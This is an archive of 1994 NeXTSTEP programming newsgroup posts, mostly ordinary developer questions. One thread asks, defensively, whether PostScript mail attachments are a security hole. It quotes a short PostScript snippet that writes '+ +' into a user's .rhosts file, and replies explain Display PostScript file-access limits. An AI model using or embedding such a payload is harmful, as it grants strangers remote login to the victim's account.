From: me@nextix.muc.de (Tobias Hoellrich) Newsgroups: comp.sys.next.programmer Subject: Security hole? Date: 22 Mar 1994 09:35:26 GMT Organization: MUC.DE - Individual Network (IN) Domain Munich Distribution: world Message-ID: <ME.94Mar22103526@nextix.muc.de> Hi comp.sys.next.programmer! I receive a lot of NeXT-Mail and never checked the enclosed Postscript-Files for something like: ---------------------------------------------------- (%os%/me/.rhosts) (a) file dup (+ +) writestring closefile ---------------------------------------------------- (replace /me by your HOME-directory and pipe it to 'pft' to see what I mean - remember to modify your $HOME/.rhosts file afterwards!) Is this a security hole or not? Is there any way to restrict PS-file access? Or at least to monitor it somehow? Bye Tobias -- Tobias Hoellrich, Schiesstaettstr. 26,80339 Muenchen, Tel: +49-89-502 90 88 NeXTMail: tobias@nextix.muc.de EMail: med@d012s648.zfe.siemens.de, tobias@cat-ufg.de
From: starksm@genesis.mcs.com (Scott M. Stark) Newsgroups: comp.sys.next.programmer Subject: Sybase and DBModeler Date: 25 Mar 1994 13:09:33 GMT Organization: MCSNet Services Distribution: world Message-ID: <2munqe$i5l@Mars.mcs.com> Keywords: Sybase, DBModeler I am having some trouble getting DBModeler to login to Sybase. I can connect via isql, and through a simple DBLibrary based application I wrote. The interfaces file is in the usual place (/usr/sybase/interfaces) and I have tried setting SybaseInterfacesFile to ensure that this is the one used. I am using an m68k system running 3.1 with a system 10 server running under Solaris2.3. Thanks, Scott -- Scott Stark Stark Internation Software 4950 N. Marine Dr. #102 Chicago, IL 60640 starksm@genesis.mcs.com (NeXT mail accepted)
From: brouhaha@leland.Stanford.EDU (Joshua David Richau) Newsgroups: comp.sys.next.programmer Subject: openPanel question... Date: 25 Mar 1994 15:00:15 GMT Organization: Stanford University, CA 94305, USA Sender: josh@zkm.de Message-ID: <2muu9v$m1m@nntp2.Stanford.EDU> Greetings, Is it possible to give the openPanel an accessory view that enables the user to choose what sort of files to open. For instance, all of the files will be sound files but I would particularly like to open only mono 16bit, 44kHz, or whatever (chosen by radio buttons in the accessory view) Is this possible or do I have to create my own openPanel like browser to create this sort of functionality. Has anyone tried anything like this? Was it successful? Thanks for any input/ideas/condolances, Josh (Logged into a NeXT for the first time two months ago so keep it simple!) -- | I feel no pain dear mother now | Barbie (Josh Richau) | | But O I am so dry. | josh@zkm.de, brouhaha@leland.stanford.edu| | Please take me to a brewery, | Ritterstr. 42, 76137 Karlsruhe, GERMANY | | And leave me there to die. | P.O. Box 12013, Stanford, CA 94309, USA |
From: pcu@umich.edu Newsgroups: comp.sys.next.programmer Subject: Re: Security hole? Date: 25 Mar 1994 15:14:34 GMT Organization: University of Michigan Distribution: world Message-ID: <2muv4q$agn@lastactionhero.rs.itd.umich.edu> References: <ME.94Mar22103526@nextix.muc.de> In article <ME.94Mar22103526@nextix.muc.de> me@nextix.muc.de (Tobias Hoellrich) writes: > > Hi comp.sys.next.programmer! > > > I receive a lot of NeXT-Mail and never checked the > enclosed Postscript-Files for something like: > > ---------------------------------------------------- > (%os%/me/.rhosts) (a) file dup > (+ +) writestring > closefile The PS file manipulation commands are un-enabled in DPS specifically for this reason. One can over-ride this default setting when programming, but there are restrictions (something like only files the application creates, etc.) -- Peter Urka <pcu@umich.edu> Dept. of Chemistry, Univ. of Michigan Anything to me is sweeter, Than to see Shock-headed Peter. - H. Hoffmann
From: pcu@umich.edu Newsgroups: comp.sys.next.programmer Subject: Re: Color Picking Programmatically Date: 25 Mar 1994 15:23:01 GMT Organization: University of Michigan Distribution: world Message-ID: <2muvkl$aia@lastactionhero.rs.itd.umich.edu> References: <Cn0wtI.DH9@ennews.eas.asu.edu> > We are trying to determine the color of the pixel at a particular screen > coordinate. NXReadPixel() See AppKitfunctions. -- Peter Urka <pcu@umich.edu> Dept. of Chemistry, Univ. of Michigan Anything to me is sweeter, Than to see Shock-headed Peter. - H. Hoffmann
Newsgroups: comp.sys.next.programmer From: montyz@il.us.swissbank.com (Montgomery Zukowski) Subject: Anybody ever seen a Window Palette? Message-ID: <1994Mar25.161432.1109@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division Date: Fri, 25 Mar 1994 16:14:32 GMT Just curious if as a Window object dragged from a palette you have access to your subviews while in IB. Anybody? Anybody? Monty
From: hship@sinistar (Howard Ship) Newsgroups: comp.sys.next.programmer Subject: Re: openPanel question... Date: 25 Mar 1994 16:49:05 GMT Organization: Stratus Computer Inc, Marlboro MA Message-ID: <2mv4m2$ghr@transfer.stratus.com> References: <2muu9v$m1m@nntp2.Stanford.EDU> In article <2muu9v$m1m@nntp2.Stanford.EDU> brouhaha@leland.Stanford.EDU (Joshua David Richau) writes: > Greetings, > Is it possible to give the openPanel an accessory view that > enables the user to choose what sort of files to open. For instance, all > of the files will be sound files but I would particularly like to open > only mono 16bit, 44kHz, or whatever (chosen by radio buttons in the > accessory view) Is this possible or do I have to create my own openPanel > like browser to create this sort of functionality. Has anyone tried > anything like this? Was it successful? > Thanks for any input/ideas/condolances, I haven't used these, but they are from SavePanel's docs. They are methods implemented by the delegate panel:filterFile:inDirectory: - (BOOL)panel:sender filterFile:(const char *)filename inDirectory:(const char *)directory Sent to the panel's delegate. The delegate can then determine whether that filename can be saved in the directory; it returns YES if the filename and directory are valid, or NO if the SavePanel should stay up and wait for the user to type in a different file name or select another directory. panelValidateFilenames: - (BOOL)panelValidateFilenames:sender Sent to the panel's delegate. The delegate can then determine whether the current file name in the SavePanel can be used; it returns YES if the file name is valid, or NO if the SavePanel should stay up and wait for the user to type in a different file name. The delegate can get the file name in the SavePanel by sending a filename message back to sender. -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C-<9FUO9&5R;B!#;W5R:65R.UQF,%QF M<W=I<W,@2&5L=F5T:6-A.UQF,5QF=&5C:"!3>6UB;VP[7&8R7&9N:6P@5&EM M97,M4F]M86X[?0I<;6%R9VPQ,C`*7&UA<F=R,3(P"EQP87)D7'1X,3$U,EQT M>#(S,#1<='@S-#4V7'1X-#8P.%QT>#4W-C!<='@V.3$R7'1X.#`V-%QT>#DR M,39<='@Q,#,V.%QT>#$Q-3(P7&8S7&(P7&DP7'5L;F]N95QF<S(T7&9C,%QC M9C`@26X@87)T:6-L92`\,FUU=3EV)&TQ;4!N;G1P,BY3=&%N9F]R9"Y%1%4^ M(&)R;W5H86AA0&QE;&%N9"Y3=&%N9F]R9"Y%1%4@*$IO<VAU82!$879I9"!2 M:6-H874I('=R:71E<SI<"CX@1W)E971I;F=S+%P*/B`)27,@:70@<&]S<VEB M;&4@=&\@9VEV92!T:&4@;W!E;E!A;F5L(&%N(&%C8V5S<V]R>2!V:65W('1H M871<"CX@96YA8FQE<R!T:&4@=7-E<B!T;R!C:&]O<V4@=VAA="!S;W)T(&]F M(&9I;&5S('1O(&]P96XN($9O<B!I;G-T86YC92P@86QL7`H^(&]F('1H92!F M:6QE<R!W:6QL(&)E('-O=6YD(&9I;&5S(&)U="!)('=O=6QD('!A<G1I8W5L M87)L>2!L:6ME('1O(&]P96Y<"CX@;VYL>2!M;VYO(#$V8FET+"`T-&M(>BP@ M;W(@=VAA=&5V97(@*&-H;W-E;B!B>2!R861I;R!B=71T;VYS(&EN('1H95P* M/B!A8V-E<W-O<GD@=FEE=RD@27,@=&AI<R!P;W-S:6)L92!O<B!D;R!)(&AA M=F4@=&\@8W)E871E(&UY(&]W;B!O<&5N4&%N96Q<"CX@;&EK92!B<F]W<V5R M('1O(&-R96%T92!T:&ES('-O<G0@;V8@9G5N8W1I;VYA;&ET>2X@2&%S(&%N M>6]N92!T<FEE9%P*/B!A;GET:&EN9R!L:6ME('1H:7,_(%=A<R!I="!S=6-C M97-S9G5L/UP*/B`)5&AA;FMS(&9O<B!A;GD@:6YP=70O:61E87,O8V]N9&]L M86YC97,L7`I<"DD@:&%V96XG="!U<V5D('1H97-E+"!B=70@=&AE>2!A<F4@ M9G)O;2`*7&(@4V%V95!A;F5L"EQB,"`G<R!D;V-S+B`@5&AE>2!A<F4@;65T M:&]D<R!I;7!L96UE;G1E9"!B>2!T:&4@9&5L96=A=&5<"EP*"EQP87)D7&8P M7&)<9G,R.%QF:2TS.#!<;&DR-#@P7&9C,%QC9C`@<&%N96PZ9FEL=&5R1FEL M93II;D1I<F5C=&]R>3I<"@I<9C%<8C!<9FDM-S8P7&QI,S(T,"`M"EQF,B`@ M*$)/3TPI"EQB('!A;F5L.@I<8C!<:2!S96YD97(@7`H*7&)<:3!<9FDP(&9I M;'1E<D9I;&4Z"EQB,%QI("AC;VYS="!C:&%R("HI9FEL96YA;65<"@I<8EQI M,"!I;D1I<F5C=&]R>3H*7&(P7&D@*&-O;G-T(&-H87(@*BED:7)E8W1O<GE< M"@I<<&%R9%QT>#(T.#!<='@R.#8P7'1X,S(T,%QI,%QF<S$V7&QI,C$P,%QF M8S!<8V8P(%P*"EQF<S(X(%-E;G0@=&\@=&AE('!A;F5L)W,@9&5L96=A=&4N M("!4:&4@9&5L96=A=&4@8V%N('1H96X@9&5T97)M:6YE('=H971H97(@=&AA M="`*7&D@9FEL96YA;64*7&DP("!C86X@8F4@<V%V960@:6X@=&AE(`I<:2!D M:7)E8W1O<GD*7&DP(#L@:70@<F5T=7)N<R!915,@:68@=&AE(`I<:2!F:6QE M;F%M90I<:3`@(&%N9"`*7&D@9&ER96-T;W)Y(`I<:3`@87)E('9A;&ED+"!O M<B!.3R!I9B!T:&4@4V%V95!A;F5L('-H;W5L9"!S=&%Y('5P(&%N9"!W86ET M(&9O<B!T:&4@=7-E<B!T;R!T>7!E(&EN(&$@9&EF9F5R96YT(&9I;&4@;F%M M92!O<B!S96QE8W0@86YO=&AE<B!D:7)E8W1O<GDN7`H*7&9S,38@7`H*7'!A M<F1<9C!<8EQF:2TS.#!<;&DR-#@P7&9C,%QC9C`@7`I<"EP*"EQF<S(X('!A M;F5L5F%L:61A=&5&:6QE;F%M97,Z7`H*7&8Q7&(P7&9I+3<V,%QL:3,R-#`@ M+0I<9C(@("A"3T],*0I<8B!P86YE;%9A;&ED871E1FEL96YA;65S.@I<8C!< M:2!S96YD97)<"@I<<&%R9%QT>#(T.#!<='@R.#8P7'1X,S(T,%QI,%QF<S$V M7&QI,C$P,%QF8S!<8V8P(%P*"EQF<S(X(%-E;G0@=&\@=&AE('!A;F5L)W,@ M9&5L96=A=&4N("!4:&4@9&5L96=A=&4@8V%N('1H96X@9&5T97)M:6YE('=H M971H97(@=&AE(&-U<G)E;G0@9FEL92!N86UE(&EN('1H92!3879E4&%N96P@ M8V%N(&)E('5S960[(&ET(')E='5R;G,@6453(&EF('1H92!F:6QE(&YA;64@ M:7,@=F%L:60L(&]R($Y/(&EF('1H92!3879E4&%N96P@<VAO=6QD('-T87D@ M=7`@86YD('=A:70@9F]R('1H92!U<V5R('1O('1Y<&4@:6X@82!D:69F97)E M;G0@9FEL92!N86UE+B`@5&AE(&1E;&5G871E(&-A;B!G970@=&AE(&9I;&4@ M;F%M92!I;B!T:&4@4V%V95!A;F5L(&)Y('-E;F1I;F<@82`*7&(@9FEL96YA M;64*7&(P("!M97-S86=E(&)A8VL@=&\@"EQI('-E;F1E<@I<:3`@+B`@7`H* "?0H* `
Newsgroups: comp.sys.next.programmer From: brandner@informatik.uni-stuttgart.de (Mirko Brandner) Subject: NS internals Message-ID: <Cn88sp.9q1@news.informatik.uni-stuttgart.de> Sender: news@informatik.uni-stuttgart.de Organization: Informatik, University of Stuttgart, Germany Date: Fri, 25 Mar 1994 15:38:48 GMT Hallo netlanders, I continue posing my weird questions about NS internal structures. 1) This time I want to know more about setHideOnDeactivate. I know what it means and what it is good for but I still have questions about it: For every other kind of window the method orderWindow:relativeTo: is called for putting a window into or out of the screen list, depending on the parameters. If I set the flag setHideOnDeactivate in IB this method is not called. Still I see the window come and go! Which call (method or function call) is responsible for this behaviour? __________________________________________________________________________ 2) Some time ago I asked for help how to instantiate my own subclass of Menu (and MenuCells) in IB and write a palette. I did not get an answer and did what some people suggested, replacing the mainMenu in a method like - app{Will|Did}init through walking the menu recursively. Okay, I did this and it works for almost all the submenus that you can drag from the palette. But Format/ Windows/ Services cause severe trouble resulting in sending - isVisible to intances of classes like List or MenuCell, (sometimes List , sometimes menuCell) and finally crash the application. I checked everything, updateMethods, tags, action, target, keyEquiv. What is going on here? Why does it work for some but not all submenus?? ________________________________________________________________________ You might ask for the motivation of my questions. I need this kind of information because I am working on giving blind users access to the NS user interface. Thanks for all your answers in advance. If someone can suggest papers describing more of the internal structures of NS, please, please do so!!! Mirko
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa) Newsgroups: comp.sys.next.programmer Subject: Re: Security hole? Date: 25 Mar 1994 17:40:44 GMT Organization: University of California, Berkeley Distribution: world Message-ID: <2mv7ms$8ae@agate.berkeley.edu> References: <2muv4q$agn@lastactionhero.rs.itd.umich.edu> In article <2muv4q$agn@lastactionhero.rs.itd.umich.edu> pcu@umich.edu writes: >In article <ME.94Mar22103526@nextix.muc.de> me@nextix.muc.de (Tobias >Hoellrich) writes: >> >> I receive a lot of NeXT-Mail and never checked the >> enclosed Postscript-Files for something like: >> >> ---------------------------------------------------- >> (%os%/me/.rhosts) (a) file dup >> (+ +) writestring >> closefile > >The PS file manipulation commands are un-enabled in DPS specifically for >this reason. One can over-ride this default setting when programming, There are two things, one is as mentioned above. Normal DPS connections from the app to the DPS interpreter/Window Server does not allow file write operations. In order to allow writing, the application must use a special call DPSCreateNonSecureContext() to open a DPS connection. Most legitimate applications do not do this, but be wary of binary only apps that are on the archives. Second, there is a switch setting in the Preferences that says "Display EPS Security". This, I assume, further limits the execution of EPS enclosures in something like NeXT Mail.app. I don't know exactly what limits it imposes howerver. I must say, though, that the normal inability of DPS contexts to manipulate files is fatally flawed and easy to circumvent. This limitation is only imposed on the *client* side, not on the server side. If you have a malicious applications, it can always create DPS connections that has all the permissions to files as the app authors want. -- Izumi Ohzawa [ $@Bg_78^=;(J ] USMail: University of California, 360 Minor Hall, Berkeley, CA 94720 Telephone: (510) 642-6440 Fax: (510) 642-3323 Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
Newsgroups: comp.sys.next.programmer From: laurent@planon.qc.ca (Laurent Daudelin) Subject: Re: Help with NXBrowser Message-ID: <1994Mar22.214634.9815@planon.qc.ca> Sender: laurent@planon.qc.ca References: <2mfbta$ddg@jake.esu.edu> Date: Tue, 22 Mar 1994 21:46:34 GMT In article <2mfbta$ddg@jake.esu.edu> hbott@esu.edu (Howard B Ott) writes: > Jeremy Allan Bussard (bussarj@alleg.edu) wrote: > : Good evening everyone... > > : I was wondering if there was any sample code that showed how to > : get a listing of a directory into a browser (i.e. like Workspace)? > : If there is would someone be so kind as to e-mail me where I can > : find this code. Any and all help is greatly appreciated. > > The NeXTDeveloper/examples/Appkit/BusyBox example uses an NXBrowser > which is populated with the names of the help files for the project. > It's a start! > > Does anyone know if the Nebula CD-ROM contians any good examples of > NXBrowser code? > > Berk Ott Better example: try to grab the IconKit objects library from cs.orst.edu. These objects specifically try to reproduce the behaviour of the browser in the Workspace, its shelf and its icon path scrollview. One of the example bundled with the kit is, by the way, a fileviewer simulation, that is very well done. Hope this helps! Laurent. -- ****************************************************************** Laurent Daudelin, Software Engineer Planon TELEXPERTISE Inc., Boucherville, Quebec, CANADA laurent@planon.qc.ca <-- NeXTMail welcome! (Mac Mail welcome too!)
Newsgroups: comp.sys.next.programmer,comp.lang.perl From: yanik@planon.qc.ca (Yanik Crepeau) Subject: perl problem, accessing file blocks my script Message-ID: <1994Mar25.163234.16078@planon.qc.ca> Keywords: socket tcp ip process network rpc client server perl next Sender: yanik@planon.qc.ca (Yanik Crepeau) Date: Fri, 25 Mar 1994 16:32:34 GMT I have downloaded perl from a FTP site and installed it on my NeXT. PERL is a wonderfull tools and it works very fine in both Black and White NEXTSTEP machines. I have opened a socket between telnet and "perl-script-acting-as-server". I have even found the way to fork the perl process and be able to answer many calls at once. (one process = 1 call). I want to be able to handle two (2) or more connections at once in the same process. For instance, I wish to be able to monitor a serial connection, a socket connection and the user input. In C, the way to acheive that is as follow: while (1) { count = read (fd1, buffer, 999); if (count > 0) /* handle incoming in fd1 */ count = read (fd2, buffer, 999); if (count > 0) /* handle incoming in fd2 */ count = read (fd3, buffer, 999); } I tried to do fcntl(STDIN, F_SETFL, FNDELAY); fcntl(FILEHANDLER1, F_SETFL, FNDELAY); fcntl(FILEHANDLER2, F_SETFL, FNDELAY); in my script but that did not work as I expected. The fcntl function is accepted by perl (I have made the h2p required). My problem is that I don't want that the read instruction blocks until somthing arrives in the port. I would like to have (in E-Mail since I don't have access to all groups I have posted this message) some hints, tips or explanation about the way I could acheive my goal. Thank you. Yanik Crepeau -- Yanik Crepeau The power of OOP used to stop when Programmer the programmer typed "make". With Planon Telexpertise NEXTSTEP and PDO, that is not true E-Mail: yanik@planon.qc.ca (NeXT) anymore!
From: dekorte@scri.fsu.edu (Steve Dekorte) Newsgroups: comp.sys.next.programmer Subject: DPS problem Date: 25 Mar 1994 20:33:27 GMT Organization: Florida State University Message-ID: <2mvhqn$aj6@mailer.fsu.edu> I'm trying to use DPS windows directly(dont ask why) and I can't find out what function I need to use to 'set' the window to which I want to draw to. (I need the equivalent of the GL 'setwin' function) Does anyone know what this function is? I've looked in the dpsclient includes, but couldn't find anything except: PSsetwindowdict(dpswindow); and PSwindowdevice(dpswindow); which didn't work. Any help would be greatly appreciated, Steve Dekorte PS. please respond by email.
From: kline@CS.Arizona.EDU (Nick Kline) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.protocols.ppp Subject: ppp on intel 3.2, i've given up waiting Followup-To: comp.sys.next.programmer Date: 25 Mar 1994 14:37:41 -0700 Organization: University of Arizona CS Department, Tucson AZ Message-ID: <2mvlj5$l7q@cheltenham.cs.arizona.edu> It's been at least a month since several people posted on the net about a pd port of ppp being released for intel in the near future. I finally got tired of waiting and so I'm going to do it myself. Anyone else interested in getting it going? If someone is really about done, send me mail please. I got ppp.0.3 off the net and compiled it. Several warnings which don't seem important. Then I ran it. It died with a strange error about not having permission to get the line discipline for a fd. It's on about line 460. I added a few printf's. on about line 460: /* * Find out which interface we were given. */ #ifdef STREAMS if (ioctl(fd, SIOCGETU, &ifunit) < 0) { /* in streams, ppp_if handles t\ his ioctl */ perror("ppp: ioctl(SIOCGETU)"); exit(1); } #else /*rnk if (ioctl(fd, TIOCGETD, &ifunit) < 0) { perror("ppp: ioctl(TIOCGETD) error #2"); exit(1); } */ ifunit = 0; #endif The ioctl(TIOCGETD) is the second one, that's why I added the error #2. The first one shouldn't get called since its in the stream part of the ifdef... so the TIOCGETD above failed for some strange reason, even when I ran the pgm as root, even when I made it setuid to see if that would do anything. So I commented it out. if you look at what ifunit is used for, its for determing which ppp this is. The first one is ppp0, so I just set it to 0 and went on my way. I can find out what the problem there is later. It seems to use this value appropriately. It seems to negotiate the addresses correctly and succeeds in establishing a connection. But as soon as I try to ping someone through the ppp interface, the system crashes, I suppose in the ppp_reloc module linked into the kernel. As I'd heard, it crashes in the kernel, yuck, of course you have to fsck your hard disks, what a pain. The next step is to log errors/status messages in the ppp_reloc part of the code. I'd be very eager to work with someone else who has addressed these problems and has moved on. There must be people already working on ppp for intel, right? -nick
From: hship@sinistar (Howard Ship) Newsgroups: comp.sys.next.programmer Subject: Grabbing on-screen image Date: 25 Mar 1994 22:27:21 GMT Organization: Stratus Computer Inc, Marlboro MA Message-ID: <2mvoga$89f@transfer.stratus.com> I'm trying to animate an Info panel. What I'd like to do is slide an image across the text and icons already in the panel. I've been trying different approaches ... I'm trying to find an approach that is reasonably quick and doesn't flicker. What I have is a custom view that lies underneath the other views that I'll be sliding the image over. In awakeFromNib, I'm trying to grab the contents of the window that are over my custom view. I want to put them in an off screen cache. In drawSelf:: I want to combine the off screen cache, and an NXImage onto my view, which should non-destructively slide my image around. Well, I've been pouring over the books, checking out NXCachedImageRep, NXBitmapImageRep, etc., and I can't seem to find the right way to get the image. initData:fromRect: looks like it should have worked, but I'm not quite getting it right. The following code is as close as I've gotten. With -NXShowAllWindows, it generates a black window of the correct size. I believe this off screen window is the NXImage, and is 0% opaque. The animation works, but leaves a trail behind. /* awakeFromNib Responsible for taking a snapshot of contents that we later compose from. */ - awakeFromNib { NXRect backingFrame; id bitmap; [self getFrame: &backingFrame]; bitmap = [[NXBitmapImageRep alloc] initData: NULL fromRect: &backingFrame]; backing = [[NXImage alloc] initSize: &backingFrame.size]; [backing useRepresentation: bitmap]; return self; } - drawSelf: (const NXRect *) rects : (int) rectCount { NXPoint origin = {0.0, 0.0}; /* Very inefficient ... we'll fix this up later! */ [backing composite: NX_COPY toPoint: &origin]; if (image) [image composite: NX_SOVER toPoint: &point]; return self; } -- I'm changing the CHANNEL.. But all I get is commercials for ``RONCO MIRACLE BAMBOO STEAMERS''! Howard Ship hship@zen.cac.stratus.com [NeXT Mail OK] -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9G-W:7-S($AE;'9E=&EC83M<9C-< M9FUO9&5R;B!#;W5R:65R.WT*7&UA<F=L,3(P"EQM87)G<C$R,`I<<&%R9%QT M>#$Q-3)<='@R,S`T7'1X,S0U-EQT>#0V,#A<='@U-S8P7'1X-CDQ,EQT>#@P M-C1<='@Y,C$V7'1X,3`S-CA<='@Q,34R,%QF,%QB,%QI,%QU;&YO;F5<9G,R M-%QF8S!<8V8P($DG;2!T<GEI;F<@=&\@86YI;6%T92!A;B!);F9O('!A;F5L M+B`@5VAA="!))V0@;&EK92!T;R!D;R!I<R!S;&ED92!A;B!I;6%G92!A8W)O M<W,@=&AE('1E>'0@86YD(&EC;VYS(&%L<F5A9'D@:6X@=&AE('!A;F5L+EP* M7`I))W9E(&)E96X@=')Y:6YG(&1I9F9E<F5N="!A<'!R;V%C:&5S("XN+B!) M)VT@=')Y:6YG('1O(&9I;F0@86X@87!P<F]A8V@@=&AA="!I<R!R96%S;VYA M8FQY('%U:6-K(&%N9"!D;V5S;B=T(&9L:6-K97(N7`I<"E=H870@22!H879E M(&ES(&$@8W5S=&]M('9I97<@=&AA="!L:65S('5N9&5R;F5A=&@@=&AE(&]T M:&5R('9I97=S('1H870@22=L;"!B92!S;&ED:6YG('1H92!I;6%G92!O=F5R M+B`@26X@"EQB(&%W86ME1G)O;4YI8@I<8C`@+"!))VT@=')Y:6YG('1O(&=R M86(@=&AE(&-O;G1E;G1S(&]F('1H92!W:6YD;W<@=&AA="!A<F4@;W9E<B!M M>2!C=7-T;VT@=FEE=RX@($D@=V%N="!T;R!P=70@=&AE;2!I;B!A;B!O9F8@ M<V-R965N(&-A8VAE+B`@26X@"EQB(&1R87=396QF.CH*7&(P("!)('=A;G0@ M=&\@8V]M8FEN92!T:&4@;V9F('-C<F5E;B!C86-H92P@86YD(&%N(`I<8B!. M6$EM86=E"EQB,"`@;VYT;R!M>2!V:65W+"!W:&EC:"!S:&]U;&0@;F]N+61E M<W1R=6-T:79E;'D@<VQI9&4@;7D@:6UA9V4@87)O=6YD+EP*7`I796QL+"!) M)W9E(&)E96X@<&]U<FEN9R!O=F5R('1H92!B;V]K<RP@8VAE8VMI;F<@;W5T M(`I<8B!.6$-A8VAE9$EM86=E4F5P"EQB,"`L(`I<8B!.6$)I=&UA<$EM86=E M4F5P"EQB,"`L(&5T8RXL(&%N9"!)(&-A;B=T('-E96T@=&\@9FEN9"!T:&4@ M<FEG:'0@=V%Y('1O(&=E="!T:&4@:6UA9V4N("`*7&(@:6YI=$1A=&$Z9G)O M;5)E8W0Z"EQB,"`@;&]O:W,@;&EK92!I="!S:&]U;&0@:&%V92!W;W)K960L M(&)U="!))VT@;F]T('%U:71E(&=E='1I;F<@:70@<FEG:'0N7`I<"E1H92!F M;VQL;W=I;F<@8V]D92!I<R!A<R!C;&]S92!A<R!))W9E(&=O='1E;BX@(%=I M=&@@"EQB("U.6%-H;W=!;&Q7:6YD;W=S"EQB,"`L(&ET(&=E;F5R871E<R!A M(&)L86-K('=I;F1O=R!O9B!T:&4@8V]R<F5C="!S:7IE+B`@22!B96QI979E M('1H:7,@;V9F('-C<F5E;B!W:6YD;W<@:7,@=&AE(`I<8B!.6$EM86=E"EQB M,"`L(&%N9"!I<R`P)2!O<&%Q=64N("!4:&4@86YI;6%T:6]N('=O<FMS+"!B M=70@;&5A=F5S(&$@=')A:6P@8F5H:6YD+EP*7`H*7&8S("`@+RH@87=A:V5& M<F]M3FEB7`H@(%P*("`@("!297-P;VYS:6)L92!F;W(@=&%K:6YG(&$@<VYA M<'-H;W0@;V8@8V]N=&5N=',@=&AA="!W92!L871E<B!C;VUP;W-E7`H@("`@ M(&9R;VTN("HO7`H@("`@(%P*+2!A=V%K949R;VU.:6)<"EQ[7`H@($Y84F5C M="!B86-K:6YG1G)A;64[7`H@(&ED(&)I=&UA<#M<"B`@7`H@(%MS96QF(&=E M=$9R86UE.B`F8F%C:VEN9T9R86UE73M<"B`@7`H@(&)I=&UA<"`](%M;3EA" M:71M87!);6%G95)E<"!A;&QO8UT@:6YI=$1A=&$Z($Y53$Q<"B`@("`)("`@ M("`@9G)O;5)E8W0Z("9B86-K:6YG1G)A;65=.UP*("!B86-K:6YG(#T@6UM. M6$EM86=E(&%L;&]C72!I;FET4VEZ93H@)F)A8VMI;F=&<F%M92YS:7IE73M< M"B`@6V)A8VMI;F<@=7-E4F5P<F5S96YT871I;VXZ(&)I=&UA<%T[7`H)("`@ M("`@7`H@(')E='5R;B!S96QF.UP*7'U<"EP*+2!D<F%W4V5L9CH@*&-O;G-T M($Y84F5C="`J*2!R96-T<R`Z("AI;G0I(')E8W1#;W5N=%P*7'M<"B`@3EA0 M;VEN="!O<FEG:6X@/2!<>S`N,"P@,"XP7'T[7`H@(%P*("`O*B!697)Y(&EN M969F:6-I96YT("XN+B!W92=L;"!F:7@@=&AI<R!U<"!L871E<B$@*B]<"B`@ M7`H@(%MB86-K:6YG(&-O;7!O<VET93H@3EA?0T]062!T;U!O:6YT.B`F;W)I M9VEN73M<"B`@7`H@(&EF("AI;6%G92D@7`H@("`@6VEM86=E(&-O;7!O<VET M93H@3EA?4T]615(@=&]0;VEN=#H@)G!O:6YT73M<"B`@("!<"B`@<F5T=7)N M('-E;&8[7`I<?5P*7`H*7'!A<F1<='@U,C!<='@Q,#8P7'1X,38P,%QT>#(Q M,C!<='@R-C8P7'1X,S(P,%QT>#,W,C!<='@T,C8P7'1X-#@P,%QT>#4S,C!< M9C!<9F,P7&-F,"`M+5P*22=M(&-H86YG:6YG('1H92!#2$%.3D5,+BX@($)U M="!A;&P@22!G970@:7,@8V]M;65R8VEA;'-<"B!F;W(@8&!23TY#3R!-25)! M0TQ%($)!34)/3R!35$5!34524R<G(5P*(%P*2&]W87)D(%-H:7`@(&AS:&EP M0'IE;BYC86,N<W1R871U<RYC;VT@(%M.95A4($UA:6P@3TM=7`H*7'!A<F1< M='@Q,34R7'1X,C,P-%QT>#,T-39<='@T-C`X7'1X-3<V,%QT>#8Y,3)<='@X K,#8T7'1X.3(Q-EQT>#$P,S8X7'1X,3$U,C!<9C-<9F,P7&-F,"!<"@I]"G@X `
From: rick@happy.tip.ameslab.gov (Rick McIntosh) Newsgroups: comp.sys.next.programmer Subject: HELP minValue method problem with slider Date: 25 Mar 1994 22:51:35 GMT Organization: Iowa State University, Ames, Iowa Message-ID: <2mvptn$krm@news.iastate.edu> I've just added a new feature to some code and now I get warning messages, and possibly errors (quit extensive list). I am now using minValue and maxValue methods with a slider object defined as id. Now the messages claim redefinition errors. That is, soundMeter defines it a double and Slider defines it as float (or visa-versa) anyway. If I define my object as a slider and not as id then I think Interface builder won't like it. If I don't the compiler complains. What should I do???? By the way, I'm not using the sound kit at all unless NXBeep() uses it. please respond to: rick@mickey.tip.ameslab.gov thanks.
Newsgroups: comp.sys.next.programmer Organization: Antigone Press gateway, San Francisco Return-Path: <rochelle@pdh.com> From: rochelle@pdh.com (Rochelle Raccah) Message-ID: <9403252127.AA14184@snowbird.pdh.com> Date: Fri, 25 Mar 94 13:27:12 -0800 Subject: Re: DBKit bugs under 3.2 Cc: developers@pdh.com Thanks to all who responded to my post (David Swanlund <david@stallion.vm.iastate.edu>, Bob Gilson <bgilson@bou.shl.com>, Art Isbell <art@cubicsol.com>, harit@kripalu.com (Harit)) >1. A browser which associates multiple database rows to > the UI now saves multiple rows, but it only fetches and > displays one row. No one was able to help with this one, but we had another browser in our app, that was very similar and still worked under 3.2. I compared the dbmodel in the two cases and made one small change. That seemed to fix the problem. > 2. Any place we try to delete, we can do so if there are > multiple rows to choose from, but when there is only one > row, the row is not really deleted. The method being used > is [module deleteRecord]. This returns self implying > that it has successfully deleted and when I ask for the > count of the recordList, it is zero. But on the next > fetch, the record is still there. Thanks to everyone who responded to this one. The most popular workaround is to test the fetchgroup for the number of remaining records after the deletion. If no records remain, then send the recordlist a saveModifications message which will correctly save the deletion of the last record to the database. But sending the module a saveChanges: or the fetchgroup a saveChanges message won't correctly save the deletion of the last record. Thanks again! --- Rochelle Raccah email: rochelle@pdh.com (NeXTMail OK) PDH Inc. 2635 N. First St. Ste 224, San Jose, CA 95128 phone: (408) 428 - 9596 fax: (408) 428 - 9599
